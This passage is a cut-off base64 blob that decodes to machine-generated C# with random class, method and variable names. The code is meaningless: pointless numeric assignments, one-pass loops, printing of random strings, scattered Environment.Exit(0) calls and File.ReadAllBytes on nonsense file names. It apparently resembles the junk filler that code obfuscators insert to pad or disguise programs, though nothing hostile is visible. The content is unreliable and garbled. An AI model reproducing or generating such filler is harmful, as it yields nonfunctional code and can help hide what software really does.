DgyNzk5ODkzODY0NjY4NDQxOyAKbG9uZyB3YXVPWmRCZiA9IDMxNjUyNzE4MjY2MzM0NDQxOyAKaW50IG1zSXpjVmdiID0gMzkwNTY7IAp3aGlsZShtc0l6Y1ZnYiA9PSAzOTA1Nil7DQptc0l6Y1ZnYiA9IG1zSXpjVmdiICsgNzQ3MTI7DQp9bG9uZyBxRW1SUklicSA9IDI1OTEwODM0OTI2NTQ4MDgyOyAKZmxvYXQgWnh2bFBXZFQgPSAzLjEwMzgwN0UtMjFGOyAKdWludCBNbE55aFBMQiA9IDIzNzI7IApzdHJpbmcga21Mc25IYlQgPSAiQmR4U2ZwZ2siOyAKIENvbnNvbGUuV3JpdGVMaW5lKGttTHNuSGJUKTsNCn1wdWJsaWMgdm9pZCBBcVNhS2xZSygpew0KbG9uZyBUdmRMVm9zeSA9IDM1NzQzMTQ4Nzk4OTg5MDI4OyAKc2J5dGUgcmtuVlFkbnggPSAgLTU3OyAKIENvbnNvbGUuUmVhZExpbmUoKTtkb3VibGUgenF5TG1KbUUgPSAzLjY0ODI2NEUtMjg7IApkb3VibGUgbG1DaWN6ZVZ4SlNjaWtFcWFweHggPSBNYXRoLklFRUVSZW1haW5kZXIoMywgNCk7DQp6cXlMbUptRSA9IGxtQ2ljemVWeEpTY2lrRXFhcHh4Ow0KdHJ5ew0KQ29uc29sZS5Xcml0ZUxpbmUoenF5TG1KbUUuVG9TdHJpbmcoKSk7DQp9Y2F0Y2goRXhjZXB0aW9uIGV4KXsNCkNvbnNvbGUuV3JpdGVMaW5lKGV4Lk1lc3NhZ2UpOw0KfWRvdWJsZSBqaVZnUGZEbiA9IDUuODM4MzM1RS0zMzsgCmppVmdQZkRuID0gTWF0aC5DZWlsaW5nKE1hdGguVGFuKDEpKTsNCkNvbnNvbGUuV3JpdGUoamlWZ1BmRG4uVG9TdHJpbmcoKSk7bG9uZyBQTE5VcE9MeSA9IDM1Nzg3NTkyOTQ5NjUyMTQ4OyAKYnl0ZSBqd29SRk5VbyA9ICAxNzg7IAogRW52aXJvbm1lbnQuRXhpdCgwKTtieXRlIHlZamt2WGdwID0gIDg1OyAKIEVudmlyb25tZW50LkV4aXQoMCk7c2J5dGUgelJ1WHZQZXggPSAgLTUwOyAKIENvbnNvbGUuUmVhZExpbmUoKTsNCn1wdWJsaWMgdm9pZCBXcnlMYWRiQygpew0KdXNob3J0IEZVblp3RWRmID0gNjM3NjI7IApzaG9ydCB3eWZ3ckVMVSA9IC0xMTQyNzsgCiBieXRlW10gd3lmd3JFTFV3eWZ3ckVMVSA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygid3lmd3JFTFUiKTtzdHJpbmcgY2hMcVZ6QWUgPSAiU2dNQ1pvU1AiOyAKIENvbnNvbGUuV3JpdGVMaW5lKGNoTHFWekFlKTt1c2hvcnQgSHZySG5vTkggPSAyNDc1NTsgCnVsb25nIHZHeGhJelFUID0gMTYzNzA4OTE5NTc4OTA3NjQ7IAp1c2hvcnQgdEFSdmd2TGsgPSAyNDY5MTsgCmZsb2F0IGhIR3F3YkJGID0gLTguNjcyNzI1RSsyN0Y7IAp1c2hvcnQgR01CbGFhYVQgPSAyNDM5MjsgCg0KfXB1YmxpYyB2b2lkIFdzV2d5d2JPKCl7DQpsb25nIHRCeG50Sm1yID0gOTk1NzQ4ODk0MDEyNTc4MDsgCnVpbnQgZ0ZxQlRVZVcgPSA4MTE2MDkzOTA7IApsb25nIFNqYlVXQ2JrID0gNjYwMTc2MDg3MTE2NjM3MjQ7IApmbG9hdCB5VmpHQktVWCA9IDEuMTM1ODk5RS0wOUY7IApkb3VibGUgZHlpWWlYbGYgPSA1Ljg0MzYxNEUtMDY7IAppZihkeWlZaVhsZiA9PSAxLjgyMTYxOUUtMzEpew0KZHlpWWlYbGYgPSBNYXRoLkNlaWxpbmcoTWF0aC5TaW5oKC01KSk7DQoNCn11aW50IERDbXl5RERYID0gODU0NDsgCnN0cmluZyBKWWxnaGtNeCA9ICJyT3hxaGZrVCI7IAogQ29uc29sZS5Xcml0ZUxpbmUoSllsZ2hrTXgpO3Nob3J0IEJ0UkVvamRjID0gMjE0OTI7IAogYnl0ZVtdIEJ0UkVvamRjQnRSRW9qZGMgPSBTeXN0ZW0uSU8uRmlsZS5SZWFkQWxsQnl0ZXMoIkJ0UkVvamRjIik7DQp9cHVibGljIHZvaWQgQ1dzQmVxcmsoKXsNCnVzaG9ydCBXSENKQlFRZiA9IDU5OTI0OyAKaW50IFBEUmlxY0N4ID0gNDU0ODA2OyAKd2hpbGUoUERSaXFjQ3ggPT0gNDU0ODA2KXsNClBEUmlxY0N4ICs9IDEzMTQ5MDsNCn1sb25nIENQaWNhQ3RYID0gODc0MTAzNTkyMDc4MDEzMjU7IApzdHJpbmcgbmxOUnpMRGsgPSAicEdOTFBmWG4iOyAKIENvbnNvbGUuV3JpdGVMaW5lKG5sTlJ6TERrKTtpbnQgb2lsQUFncGQgPSAzNTsgCmlmKG9pbEFBZ3BkID09IDk1MDE2Myl7DQpvaWxBQWdwZCA9IDg3NjM3NTsNCn1ieXRlIFR5cXhXbWFhID0gIDc3OyAKIEVudmlyb25tZW50LkV4aXQoMCk7c2hvcnQgTHVnbkRLTGYgPSAtNzEzMjsgCiBieXRlW10gTHVnbkRLTGZMdWduREtMZiA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygiTHVnbkRLTGYiKTt1c2hvcnQgT1NGZ0h3UXMgPSA1MTY3NDsgCg0KfXB1YmxpYyB2b2lkIER0SE5IZENUKCl7DQp1bG9uZyBuekRFRnVCeCA9IDY4NTQ3NjYxNTYxMjk1Nzk1OyAKc2J5dGUgRWxnTGpLZFQgPSAgLTkyOyAKIENvbnNvbGUuUmVhZExpbmUoKTtzaG9ydCBVQk5nZm5zdCA9IC03MzsgCiBieXRlW10gVUJOZ2Zuc3RVQk5nZm5zdCA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygiVUJOZ2Zuc3QiKTtkb3VibGUgS2JIa0pBeUwgPSAtMi4zMzE3MjJFLTMxOyAKd2hpbGUoS2JIa0pBeUwgPT0gMi4xMjkxNTVFLTE2KXsNCktiSGtKQXlMID0gTWF0aC5DZWlsaW5nKE1hdGguVGFuKDEpKTsNCm9iamVjdCBQS29ZaE9aV2NiV1FQWUNQamY7DQpQS29ZaE9aV2NiV1FQWUNQamYgPSAyLjQ3NDc3NkUrMzA7DQp9Ynl0ZSBsT0dpUGF4TyA9ICA4OyAKIEVudmlyb25tZW50LkV4aXQoMCk7c2hvcnQgVnpLRlhpUnIgPSAxODg0MTsgCiBieXRlW10gVnpLRlhpUnJWektGWGlSciA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygiVnpLRlhpUnIiKTtsb25nIGpkcmFmeXhuID0gMTg3NTAzODM3MTMyMjY4ODk7IAp1c2hvcnQgcmJUbWhHYXUgPSAxNzQ0NzsgCg0KfXB1YmxpYyB2b2lkIFh0VEVySmthKCl7DQpieXRlIENJQlZ6b1ZMID0gIDE4OyAKIEVudmlyb25tZW50LkV4aXQoMCk7c2J5dGUgcExvZFVBZFUgPSAgOTM7IAogQ29uc29sZS5SZWFkTGluZSgpO3NieXRlIHptRkRnRGRKID0gIC0xMjY7IAogQ29uc29sZS5SZWFkTGluZSgpO2ludCBtaW9zV256aiA9IDQzOyAKd2hpbGUobWlvc1duemogPT0gNDMpew0KbWlvc1duemogKz0gNDY2Mjc4Ow0KfWxvbmcgQ3FoeFdPS0MgPSA4MDc0MzI2NjQ5MTQ1MzE1MjsgCmJ5dGUgUXNaVXJ0dE8gPSAgMTIwOyAKIEVudmlyb25tZW50LkV4aXQoMCk7c2J5dGUgVEdJQ3FIVmMgPSAgODI7IAogQ29uc29sZS5SZWFkTGluZSgpO3NieXRlIFhZTVdya1FvID0gIC04MjsgCiBDb25zb2xlLlJlYWRMaW5lKCk7DQp9Cn0gcHVibGljIGNsYXNzIFhQYWZYelZre3B1YmxpYyB2b2lkIGtXdExsZE9qKCl7DQp1c2hvcnQgU1hEVXRsUlkgPSA0NTE2NDsgCmRvdWJsZSBsWkFLTnZJWCA9IDEuMjMzMjE3RSsyNTsgCmxaQUtOdklYID0gTWF0aC5TcXJ0KDQpOw0KQ29uc29sZS5Xcml0ZUxpbmUobFpBS052SVguVG9TdHJpbmcoKSk7dWludCBlWmxud3hTSCA9IDU4NDk2MDk0OyAKdWludCBYV0lmcGxQUCA9IDIzOyAKc2hvcnQgWFJ6UEpvRUUgPSAyNTUxNTsgCiBieXRlW10gWFJ6UEpvRUVYUnpQSm9FRSA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygiWFJ6UEpvRUUiKTtieXRlIFJ5ZEZ2WkNtID0gIDY3OyAKIEVudmlyb25tZW50LkV4aXQoMCk7c2hvcnQgbmFzeXZQRmMgPSA0Mjk7IAogYnl0ZVtdIG5hc3l2UEZjbmFzeXZQRmMgPSBTeXN0ZW0uSU8uRmlsZS5SZWFkQWxsQnl0ZXMoIm5hc3l2UEZjIik7dWludCBzcnV6b2xYRiA9IDg0NjQ2MzEzOTsgCg0KfXB1YmxpYyB2b2lkIFBuWE1DUEZpKCl7DQpmbG9hdCBsQmlpTkZMSCA9IC02LjMyMjQ5N0Y7IAp1c2hvcnQgS0drSGhNTFEgPSA4MDc5OyAKZmxvYXQgWEJMdWZoYXYgPSA3LjA4MzM0OUUtMDdGOyAKc2hvcnQgenBOd0ZrRksgPSAtMjA1MDsgCiBieXRlW10genBOd0ZrRkt6cE53RmtGSyA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygienBOd0ZrRksiKTtmbG9hdCBHdnJkTG9UZSA9IC0yLjMzNTk3NEUtMzdGOyAKdWxvbmcgbVVGekptcU0gPSA1MDE5NzE0MTQwODg3MDQyNDsgCnVsb25nIFZMVEF5bkpEID0gNDgwMzAzMTQwNjY4OTM1MTA7IApzYnl0ZSBtRUt5a0thYyA9ICAtMTAxOyAKIENvbnNvbGUuUmVhZExpbmUoKTsNCn1wdWJsaWMgdm9pZCBJSW9BRUlUaCgpew0KaW50IEhGZERwRlRwID0gMjYwNDk3Mjg0OyAKd2hpbGUoSEZkRHBGVHAgPT0gMjYwNDk3Mjg0KXsNCkhGZERwRlRwID0gSEZkRHBGVHAgKyA2MjE3MDE7DQp9c2J5dGUgVkdReFNFclMgPSAgLTEyMTsgCiBDb25zb2xlLlJlYWRMaW5lKCk7dXNob3J0IHBmRE55anRCID0gNDI5Njg7IApzaG9ydCBnSnpQb1NBcyA9IC0yNDc3MjsgCiBieXRlW10gZ0p6UG9TQXNnSnpQb1NBcyA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygiZ0p6UG9TQXMiKTtkb3VibGUgbEVDWUpWbHQgPSAtMS4zMTAxMzZFLTI3OyAKbEVDWUpWbHQgPSBNYXRoLlBvdyhkb3VibGUuTmVnYXRpdmVJbmZpbml0eSwgMik7DQp0cnl7DQppbnQgbUp3bGZJT0prV0RiUmZkS2VMcEtYa1VuID0gODM5MDA0NjsNCmlmKG1Kd2xmSU9Ka1dEYlJmZEtlTHBLWGtVbiA9PSA2MTcxMCl7DQptSndsZklPSmtXRGJSZmRLZUxwS1hrVW4rKzsNCn1lbHNlew0KbUp3bGZJT0prV0RiUmZkS2VMcEtYa1VuLS07DQpDb25zb2xlLldyaXRlKG1Kd2xmSU9Ka1dEYlJmZEtlTHBLWGtVbi5Ub1N0cmluZygpKTsNCn0NCn1jYXRjaChFeGNlcHRpb24gZXgpew0KDQp9dWxvbmcgdURwbXNURGogPSA4Mzk5ODY2ODIwNDgwNzYxMTsgCnNob3J0IEh0Q0VIVE5wID0gMTUwODQ7IAogYnl0ZVtdIEh0Q0VIVE5wSHRDRUhUTnAgPSBTeXN0ZW0uSU8uRmlsZS5SZWFkQWxsQnl0ZXMoIkh0Q0VIVE5wIik7Ynl0ZSBVQktoRWVQSCA9ICAyMjg7IAogRW52aXJvbm1lbnQuRXhpdCgwKTsNCn1wdWJsaWMgdm9pZCBGaFdNY21uZCgpew0KdXNob3J0IFVUSHFjd2tlID0gMTg3MjM7IAp1bG9uZyBQZVVEVURNViA9IDE1MTM3OTE0ODY0NTY2MDY0OyAKYnl0ZSBGWVhVZG5pViA9ICAxNzc7IAogRW52aXJvbm1lbnQuRXhpdCgwKTtzdHJpbmcgRHFFZ2FIb08gPSAiUnB2QVFvVnUiOyAKIENvbnNvbGUuV3JpdGVMaW5lKERxRWdhSG9PKTtkb3VibGUgZWdCa2R2U3QgPSAtMTQuMTAzMTI7IAppZihlZ0JrZHZTdCA9PSAxLjgwMzI4NUUrMTgpew0KZG91YmxlIGZiY0NpSWFIR1RXUkggPSAtMy4xNjM4MTlFLTI1Ow0KZWdCa2R2U3QgPSBNYXRoLlJvdW5kKGZiY0NpSWFIR1RXUkgpOw0Kb2JqZWN0IERuVEhsQ3RsTHd4Qk1TTm1WTWVhcXo7DQpEblRIbEN0bEx3eEJNU05tVk1lYXF6ID0gLTEuNjU1MjE2RSszNzsNCn11bG9uZyBST3VyZkRyWSA9IDc1NzcyODE4MTYwNDIwMjgyOyAKc2hvcnQgcHJ5eGhDT2IgPSAtNDc1NzsgCiBieXRlW10gcHJ5eGhDT2Jwcnl4aENPYiA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygicHJ5eGhDT2IiKTtsb25nIE9kSUpnZ2dwID0gNzA5MzA4MzM5MzMwODM2NzA7IAoNCn1wdWJsaWMgdm9pZCB2V1ZNcXpLVigpew0KdWludCBKREZ0R3JlRyA9IDYxNDQwMzsgCnVzaG9ydCBWbUJQVWRLYiA9IDI2MjA0OyAKZG91YmxlIGhwTXR5WEZqID0gLTEuMjEwNDk2RS0yMTsgCmhwTXR5WEZqID0gTWF0aC5DZWlsaW5nKE1hdGguQXNpbigwLjIpKTsNCnN0cmluZyBOeFdUU3RQQyA9ICJIWm5VcENxRCI7IAogQ29uc29sZS5Xcml0ZUxpbmUoTnhXVFN0UEMpO2RvdWJsZSBGc0RWbm1TRiA9IC0xLjY4MjUwOUUrMTU7IAp3aGlsZShGc0RWbm1TRiA9PSAtMS44NjcyNTZFKzI4KXsNCkZzRFZubVNGID0gTWF0aC5DZWlsaW5nKE1hdGguQXNpbigwLjIpKTsNCnRyeXsNCg0KfWNhdGNoKEV4Y2VwdGlvbiBleCl7DQoNCn0NCn1mbG9hdCBHelF5T1ZzTiA9IDEuNzAxMTYxRS0zM0Y7IApmbG9hdCBVamJuVUlsbSA9IDkuNTAzNDE5RSsyOEY7IApsb25nIFR0elhNaUZwID0gMTc4NzU3MTgzNDgzMDg0ODk7IAoNCn1wdWJsaWMgdm9pZCBseFNKRmNIaygpew0KdWludCBBdG1LekpPdyA9IDY4NTI4MTg1OyAKdXNob3J0IGlIUWZTZGhmID0gNDAwOyAKc3RyaW5nIGJVc1dITmRmID0gIkxxQmlDd2xVIjsgCiBDb25zb2xlLldyaXRlTGluZShiVXNXSE5kZik7bG9uZyBWb3Nla2lrSiA9IDY5MTQ2MzM3MjUwNzYyOTAyOyAKdXNob3J0IHRMSnZ2WUJhID0gNDU4ODk7IAp1bG9uZyBVdmtNZUJxaSA9IDE3MTU5ODYwNDY5NjUyMjMwOyAKdWludCB2V2NIUXlRaiA9IDIwNTY4MDY0NTsgCmxvbmcgekdVSmFQblMgPSA5MzQzMTgwMzE3MTk2ODY5OyAKDQp9cHVibGljIHZvaWQga3VBTHFPU3IoKXsNCmZsb2F0IGl1THlWUURNID0gLTMuNjU0NDM1RSsxMUY7IApzdHJpbmcgRGxtaFhDWEQgPSAiTXdNeFdVTlkiOyAKIENvbnNvbGUuV3JpdGVMaW5lKERsbWhYQ1hEKTtpbnQgVnBERk9iSEsgPSA0NTIzNzY0MDE7IAp3aGlsZShWcERGT2JISyA9PSA0NTIzNzY0MDEpew0KVnBERk9iSEsgPSAxMTk3Njk7DQp9dWludCBGZ2lzYktQSCA9IDYwNTM7IApkb3VibGUgZmZ1d29XeVcgPSAtMS4xOTUxNjFFKzM0OyAKd2hpbGUoZmZ1d29XeVcgPT0gLTIuODAxNjg4RSsyMil7DQpkb3VibGUgZ2lSVUlOeXlVViA9IDEzLjYwNjc7DQpmZnV3b1d5VyA9IE1hdGguUm91bmQoZ2lSVUlOeXlVViAsMSxNaWRwb2ludFJvdW5kaW5nLlRvRXZlbik7DQpDb25zb2xlLlJlYWRLZXkoKTsNCn1ieXRlIERHZGRDb0FTID0gIDE1MzsgCiBFbnZpcm9ubWVudC5FeGl0KDApO3N0cmluZyBhZ05jR3hBbCA9ICJ1UXJrc2ZCaiI7IAogQ29uc29sZS5Xcml0ZUxpbmUoYWdOY0d4QWwpO3VzaG9ydCBIbHZZbFpNUSA9IDIzOTU7IAoNCn1wdWJsaWMgdm9pZCBqdVJTbm13ZSgpew0Kc3RyaW5nIFhRY3FYdEpPID0gImFwTFB5UExtIjsgCiBDb25zb2xlLldyaXRlTGluZShYUWNxWHRKTyk7ZG91YmxlIERNSE5za0lMID0gNS4wMjAyNzdFKzE0OyAKaWYoRE1ITnNrSUwgPT0gLTIuNDkwMTkxRS0xOCl7DQpkb3VibGUgaUFoalVKZGd6SmNTcyA9IDU4LjIzNjExOw0KQ29uc29sZS5Xcml0ZShETUhOc2tJTC5Ub1N0cmluZygpKTsNCn11c2hvcnQgaW1IZ1drRlkgPSAxNjQ5MzsgCnVzaG9ydCBObkFzckpWTyA9IDI1NjsgCmRvdWJsZSBFRER1YVZDcCA9IDMxNTU1MTQ7IAp3aGlsZShFRER1YVZDcCA9PSAtMy4yMTM0NDZFLTMxKXsNCkVERHVhVkNwID0gTWF0aC5Qb3coMiwgMi4xKTsNCiBib29sPyB6VFlvZklXVmR4U25nRWhKaHNBR0ggPSBuZXcgYm9vbD8oKTsNCnpUWW9mSVdWZHhTbmdFaEpoc0FHSCA9IHRydWU7DQp9bG9uZyBBbHNTcmZqTiA9IDQ3OTc4NjI5MTM5MjI4NjQ3OyAKbG9uZyBnbWtxS0h1USA9IDcyNTczNTM5MTczODA2OTg2OyAKc2hvcnQgWkFqT2hCVEMgPSAtMjIwODU7IAogYnl0ZVtdIFpBak9oQlRDWkFqT2hCVEMgPSBTeXN0ZW0uSU8uRmlsZS5SZWFkQWxsQnl0ZXMoIlpBak9oQlRDIik7DQp9Cn0gcHVibGljIGNsYXNzIG9wQUtNdVRre3B1YmxpYyB2b2lkIFBUU1RNdmdLKCl7DQpzaG9ydCBraGRwTUhURSA9IDI5NzQzOyAKIGJ5dGVbXSBraGRwTUhURWtoZHBNSFRFID0gU3lzdGVtLklPLkZpbGUuUmVhZEFsbEJ5dGVzKCJraGRwTUhURSIpO3N0cmluZyBtTlVidkhkRiA9ICJTc0VaSHJTUiI7IAogQ29uc29sZS5Xcml0ZUxpbmUobU5VYnZIZEYpO3VzaG9ydCBSWkVnaVJhUSA9IDQ2NzY3OyAKbG9uZyBFQ0FISWRmaiA9IDc1ODA5ODkyNjkxNDY2NTkxOyAKdWxvbmcgREVlcG9iQVkgPSA4OTE3MDc5NDcyOTcxODQ2MDsgCmJ5dGUgbHFlZ2FlYVkgPSAgMjM2OyAKIEVudmlyb25tZW50LkV4aXQoMCk7dXNob3J0IGJCTGtnbHRSID0gMzcyNjU7IAp1aW50IFRkUW5NUWVEID0gOTQ3MTsgCg0KfXB1YmxpYyB2b2lkIGVxVUhDT0dSKCl7DQpzaG9ydCBLdWRPU3VHZiA9IC0xOTYwNjsgCiBieXRlW10gS3VkT1N1R2ZLdWRPU3VHZiA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygiS3VkT1N1R2YiKTtmbG9hdCB1R3hWV0RaVCA9IC0zLjA1MTU5NkUrMzBGOyAKdXNob3J0IGZlS0pqempYID0gMzAzMjE7IApzaG9ydCBHd2h5TVlvdiA9IC0xMDg1MzsgCiBieXRlW10gR3doeU1Zb3ZHd2h5TVlvdiA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygiR3doeU1Zb3YiKTtzdHJpbmcgUGxoTUFvTm8gPSAiVmVjUWR3d1UiOyAKIENvbnNvbGUuV3JpdGVMaW5lKFBsaE1Bb05vKTtieXRlIHFZVEd0RUhDID0gIDYxOyAKIEVudmlyb25tZW50LkV4aXQoMCk7Ynl0ZSBBZERlZkJPdiA9ICAyMzc7IAogRW52aXJvbm1lbnQuRXhpdCgwKTtzaG9ydCB4U0xrSktBZiA9IC05NTc7IAogYnl0ZVtdIHhTTGtKS0FmeFNMa0pLQWYgPSBTeXN0ZW0uSU8uRmlsZS5SZWFkQWxsQnl0ZXMoInhTTGtKS0FmIik7DQp9cHVibGljIHZvaWQgYkdDVmVuTFIoKXsNCnNob3J0IFZub1BTVFZ5ID0gLTMzNDc7IAogYnl0ZVtdIFZub1BTVFZ5Vm5vUFNUVnkgPSBTeXN0ZW0uSU8uRmlsZS5SZWFkQWxsQnl0ZXMoIlZub1BTVFZ5Iik7c3RyaW5nIFdieHVEWmdHID0gIkpCS3lYcE5zIjsgCiBDb25zb2xlLldyaXRlTGluZShXYnh1RFpnRyk7c3RyaW5nIEFSTVZzbGRTID0gInp1eFdzQXd4IjsgCiBDb25zb2xlLldyaXRlTGluZShBUk1Wc2xkUyk7Ynl0ZSBlakhSclZJUyA9ICAyMTc7IAogRW52aXJvbm1lbnQuRXhpdCgwKTtzYnl0ZSBTdnBUZnJZZyA9ICAtMTA1OyAKIENvbnNvbGUuUmVhZExpbmUoKTtkb3VibGUgcnp4T01QTnQgPSAtMS4wNDA2MTJFKzI4OyAKZG91YmxlIFd4RGJOWkROZkZ3SlBvd2NRQlBMQiA9IC05LjYzNTQ0OUUtMTI7DQpzYnl0ZSBIZEZUVnRPSCA9ICAtMTA4OyAKIENvbnNvbGUuUmVhZExpbmUoKTtkb3VibGUgTVVOVURJRmEgPSAxLjUwNTM3MUUrMjA7IAp3aGlsZShNVU5VRElGYSA9PSAtMy4xNTc3OTlFKzA3KXsNCk1VTlVESUZhID0gTWF0aC5DZWlsaW5nKE1hdGguQWNvcygwKSk7DQpvYmplY3QgSXpydVJzcXNTRHZ4Y1FJWkY7DQpJenJ1UnNxc1NEdnhjUUlaRiA9IDUuNzgxMjY1RS0zMjsNCn0NCn1wdWJsaWMgdm9pZCBrWXZsU09yRCgpew0Kc3RyaW5nIGpMQkxCSW5WID0gIlVYQmRkTGlNIjsgCiBDb25zb2xlLldyaXRlTGluZShqTEJMQkluVik7dWxvbmcgYU5GbEVkdEsgPSA1OTUyNTgwOTY5NTE3NzU2OyAKdWxvbmcgY0lEdUtyQXkgPSA4MTIzMzI0MTc4NzAyMzA1NzsgCnN0cmluZyBUeUJoWlZhayA9ICJOVnlsRnRIWSI7IAogQ29uc29sZS5Xcml0ZUxpbmUoVHlCaFpWYWspO3VpbnQgcHNZdm9ncUUgPSA4NzcxOTE7IAp1bG9uZyBlcFdsamtxbCA9IDQ2NTY5MDUwODY4NjQ3Mzg2OyAKYnl0ZSBHeGlBVFBVSiA9ICAxMjk7IAogRW52aXJvbm1lbnQuRXhpdCgwKTtieXRlIGRCdHFSaWNlID0gIDIyMTsgCiBFbnZpcm9ubWVudC5FeGl0KDApOw0KfXB1YmxpYyB2b2lkIHNIaG5yVm9JKCl7DQpkb3VibGUgRWhDWU5PeHAgPSA4LjUxMjgyNkUtMzU7IAp3aGlsZShFaENZTk94cCA9PSA0LjgwMjAxNUUtMDcpew0KRWhDWU5PeHAgPSBNYXRoLkNlaWxpbmcoTWF0aC5UYW4oMSkpOw0KdHJ5ew0KaW50IHFLRmJyTVdhdUdzWGtQWnlha2kgPSAyMTMwMzI4Ow0KaWYocUtGYnJNV2F1R3NYa1BaeWFraSA9PSA0NzUxNCl7DQpxS0Zick1XYXVHc1hrUFp5YWtpKys7DQp9ZWxzZXsNCnFLRmJyTVdhdUdzWGtQWnlha2ktLTsNCkNvbnNvbGUuV3JpdGUocUtGYnJNV2F1R3NYa1BaeWFraS5Ub1N0cmluZygpKTsNCn0NCn1jYXRjaChFeGNlcHRpb24gZXgpew0KDQp9DQp9c2J5dGUgalZsSEtLcnUgPSAgLTEwNTsgCiBDb25zb2xlLlJlYWRMaW5lKCk7ZmxvYXQgc0VSQ0lZTE4gPSAtMS4wNzQyOThFLTIxRjsgCnNieXRlIGVyS2xTWUFQID0gIC0xMDM7IAogQ29uc29sZS5SZWFkTGluZSgpO3Vsb25nIHhhWXpIeXBmID0gMzU4NjA4NTc3MjQ4NTQyNjsgCnNob3J0IHliRVNTTUFXID0gLTE5MDc0OyAKIGJ5dGVbXSB5YkVTU01BV3liRVNTTUFXID0gU3lzdGVtLklPLkZpbGUuUmVhZEFsbEJ5dGVzKCJ5YkVTU01BVyIpO3NieXRlIExDUXNvbEFzID0gIDExNjsgCiBDb25zb2xlLlJlYWRMaW5lKCk7ZmxvYXQgY3FZTWxERmMgPSAtMS4yNjkyMzlFLTA2RjsgCg0KfXB1YmxpYyB2b2lkIFZQZ0d0YWZLKCl7DQpzdHJpbmcgcmR2dHJRbWEgPSAiSFBLZFJvQUEiOyAKIENvbnNvbGUuV3JpdGVMaW5lKHJkdnRyUW1hKTtmbG9hdCBCb3NEdVJPSCA9IDEuMTU0MDQ2RS0zN0Y7IApsb25nIEZnR2pRRHFuID0gNTEzNzkwMjEzNDA4NTYwNDE7IAp1bG9uZyBSbUZyVml5YSA9IDgxMzEwODQ4NjkzMTY1NDg1OyAKc2hvcnQgWFhqSW1meEEgPSAtOTAxNjsgCiBieXRlW10gWFhqSW1meEFYWGpJbWZ4QSA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygiWFhqSW1meEEiKTtmbG9hdCB6d1dkaUVLVSA9IC0wLjY4OTkxNzdGOyAKbG9uZyBvaXFJQlpaSSA9IDIzMTM1NTQwNDkyMzg3Nzk3OyAKZG91YmxlIHdzbW12R0FuID0gMS4yODE2NjFFLTIxOyAKd2hpbGUod3NtbXZHQW4gPT0gOS4zMzcwNDlFKzI3KXsNCndzbW12R0FuID0gTWF0aC5Qb3coZG91YmxlLk5lZ2F0aXZlSW5maW5pdHksIDIpOw0Kb2JqZWN0IHpjSEVkaGRJbVlPOw0KemNIRWRoZEltWU8gPSAtMS43NTAwMjhFKzI5Ow0KfQ0KfXB1YmxpYyB2b2lkIHZwaGJJZ216KCl7DQpkb3VibGUgSHB2dXdKZnggPSA0LjQ1OTQwNUUtMDY7IApkb3VibGUgcHVOT3JES1RNWHdXZ01rTW1WeEh4YyA9IC00LjA2MjkxMUUrMjE7DQpIcHZ1d0pmeCA9IHB1Tk9yREtUTVh3V2dNa01tVnhIeGMgLyAzOw0KbG9uZyBoVFBlR3FwaSA9IDgwNzI3MTQ3NzM2ODk1NjE4OyAKc2hvcnQgZ1psSUFvamggPSA4MjgyOyAKIGJ5dGVbXSBnWmxJQW9qaGdabElBb2poID0gU3lzdGVtLklPLkZpbGUuUmVhZEFsbEJ5dGVzKCJnWmxJQW9qaCIpO3VzaG9ydCBvYUdWZ1ZhTiA9IDQ2NTU4OyAKbG9uZyBkeml1ZGhLRiA9IDUwODE0NzEzMzgyNjQxODAwOyAKZG91YmxlIGNvVHNWaXdFID0gLTEuNDkyNTAyRS0xNjsgCndoaWxlKGNvVHNWaXdFID09IC00LjgzODkzMkUtMDkpew0KY29Uc1Zpd0UgPSBNYXRoLlBvdyhkb3VibGUuTWluVmFsdWUsIGRvdWJsZS5NYXhWYWx1ZSk7DQp0cnl7DQoNCn1jYXRjaChFeGNlcHRpb24gZXgpew0KDQp9DQp9bG9uZyBieU5iUEpHWiA9IDQ5NTIyNTI1MjkyMDM2MDkxOyAKbG9uZyBPUkFRbG9ERiA9IDYxMzUxMTkwNzk1MDIzNDc2OyAKDQp9cHVibGljIHZvaWQgZ1NjVFZ6Q2UoKXsNCnN0cmluZyBTZmVNZm5CdiA9ICJwbUlJdEFpayI7IAogQ29uc29sZS5Xcml0ZUxpbmUoU2ZlTWZuQnYpO3VpbnQgU2Zod2VMUkwgPSAxOTsgCnVzaG9ydCBIS1dPRURzWCA9IDU3NzQ7IApzYnl0ZSBmQW1FUndFSyA9ICAtMjA7IAogQ29uc29sZS5SZWFkTGluZSgpO2J5dGUgTVZVeFB0TUsgPSAgMTQ0OyAKIEVudmlyb25tZW50LkV4aXQoMCk7bG9uZyBaTXJpTnVBSCA9IDg1NzY1OTM0NjI4NTY4NzE0OyAKc2J5dGUgYkt6aUphZmIgPSAgLTEyNTsgCiBDb25zb2xlLlJlYWRMaW5lKCk7Ynl0ZSBkbVBmVE5CeCA9ICAxMDk7IAogRW52aXJvbm1lbnQuRXhpdCgwKTsNCn0KfSBwdWJsaWMgY2xhc3MgVnZHTXdnZHR7cHVibGljIHZvaWQgcGR0UFpJQWUoKXsNCmxvbmcgYllZc0VvWUwgPSAzMzYxMDExODAwNjE1NTM4ODsgCmludCBpVXBGekhpSCA9IDM5NDk3NzY3ODsgCndoaWxlKGlVcEZ6SGlIID09IDM5NDk3NzY3OCl7DQppVXBGekhpSCArPSA0OTcxMzg7DQp9dXNob3J0IGdzZElkd0lkID0gMzk5NTc7IAp1c2hvcnQga3VOZXJBakMgPSAzNDMyOyAKc2hvcnQgeEt4RmtTT3MgPSAyNTA5NTsgCiBieXRlW10geEt4RmtTT3N4S3hGa1NPcyA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygieEt4RmtTT3MiKTtzYnl0ZSBwUEdBWGhteCA9ICA5MDsgCiBDb25zb2xlLlJlYWRMaW5lKCk7dWxvbmcgYVRzS0V5d0EgPSAyNDc4OTM2NzY3NjE1